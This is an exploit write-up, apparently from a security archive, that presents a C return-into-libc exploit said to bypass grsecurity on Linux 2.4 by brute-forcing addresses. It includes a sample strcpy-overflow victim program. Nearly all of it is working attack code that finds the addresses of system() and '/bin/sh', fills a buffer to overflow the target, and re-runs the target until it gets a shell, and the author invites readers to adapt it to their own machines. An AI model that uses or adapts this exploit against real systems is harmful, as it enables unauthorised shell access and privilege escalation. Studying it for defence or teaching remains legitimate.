SA-03.txt

`I'm proud to introduce an example of return into libc exploit which works though grsecurity patch protection.  
  
Please read source carefully and change some lines cause default version probably wont work on your machine.  
  
-> This is example, remember it. ;)  
  
/*  
* Grsecurity bypass tryout - system("/bin/sh"); return into libc technique.  
* Read source cause this is only an example.   
* ---  
*   
* The simplest vulnerable program which was used to tests:  
*   
* int main(int argc, char *argv[])  
* {  
* char data[5];  
*  
* if(argc>1)  
* strcpy(data,argv[1]);  
* return 0;  
* }  
*  
* Successfully tested under,  
* - Linux Kernel |2.4.31| with Grsecurity patch |2.6.1|  
* - GCC 3.3.6  
* - LIBC 2.3.5-stable  
*  
* Attack time depends on your computer speed.  
*   
*  
* Nikomu nie dziekuj, nikomu nie ufaj, licz tylko na siebie.  
* ---  
* Adam Simuntis <[email protected]>  
*/  
  
#include <stdio.h>  
#include <stdlib.h>  
#include <unistd.h>  
#include <sys/utsname.h>  
#include <sys/wait.h>  
#include <sys/types.h>  
#include <linux/utsname.h>  
#include <dlfcn.h>  
  
//It is not constant value! Calculate for your system.  
//If you dont know how, just leave.  
#define offset 0x4000  
  
  
//Space needed for overflow with system() and /bin/sh address.  
#define ADDRESS_SPACE 16  
#define PATH "./vuln"  
#define SIZE 28  
#define LIBC_TESTED "2.3.5"  
  
#define GRSEC  
  
char* get_sysname(void)   
{  
char *uts;  
uts = malloc(sizeof(struct utsname));  
  
uname((struct utsname*)uts);  
return uts;  
}  
  
int main()  
{  
register int pid;  
  
int status,  
size = 0,  
s = 0,  
i = 0;  
  
unsigned long sh,   
shell,  
ss=0,  
addr=0,  
sys_addr=0;  
  
struct new_utsname *uts;  
  
char *buffer,  
*libc_ver,  
*libc_rel,  
*path = PATH;  
  
void *libc;  
void (*system)();  
  
libc_ver = (char*)gnu_get_libc_version();  
libc_rel = (char*)gnu_get_libc_release();  
  
if(libc=dlopen("/lib/libc.so.6",RTLD_LAZY))  
{  
system = dlsym(libc,"system");  
ss = (int)system;  
addr = (int)system - offset;  
}  
  
uts = (struct new_utsname*)get_sysname();   
size = SIZE;  
  
printf("# Return into libc exploit by Adam Simuntis <[email protected]> |an example|\n"  
"# Gathering info..\n");  
  
s=size+ADDRESS_SPACE;  
buffer = malloc(s);  
sh = addr;  
while(memcmp((void*)sh,"/bin/sh",8))  
sh++;  
  
shell = sh - offset;  
sys_addr = ss - offset;  
  
printf("\tLIBC: %s-%s\n",libc_ver,libc_rel);  
  
printf("\t- got sysname: %s %s\n"  
"\t- got system() addr: 0x%x\n"  
"\t- got /bin/sh addr: 0x%x\n"  
"\t~ system() - offset @: 0x%x\n"  
"\t~ /bin/sh - offset @: 0x%x\n",uts->sysname,uts->release,(int)ss,(int)sh,(int)sys_addr,(int)shell);  
  
  
if(strcmp(libc_ver,LIBC_TESTED))  
printf("# Warning: Libc version %s was not tested. Program may not work correctly.\n",libc_ver);  
  
printf("# Press enter to proceed attack or ctrl+c to cancel.");  
getchar();  
  
#ifdef GRSEC  
printf("# Bypassing grsecurity protection\n\t~ wait for shell\n");  
#endif  
  
for(i = 0; i < s; i++)  
buffer[i]='\x6e';   
  
*(long *)&buffer[s-16] = addr;  
*(long *)&buffer[s-12] = addr;  
*(long *)&buffer[s-4] = shell;  
  
//Waiting for address repeat   
#ifdef GRSEC   
while(1)  
{  
pid = fork();  
if(pid == 0)  
{  
execl(path,path,buffer,0x00);  
}  
if(pid>0)  
{  
waitpid(pid,&status,WUNTRACED);  
if(status == 0)  
break;  
}  
if(pid<0)  
{  
printf("# Exploit failed. (resources)\n");  
exit(1);  
}  
}  
#else  
execl(path,path,buffer,0x00);  
#endif  
free(buffer);  
return 0;  
}  
  
Here is prove of successful attack:  
http://satfilm.pl/~n30n/grsec.png   
`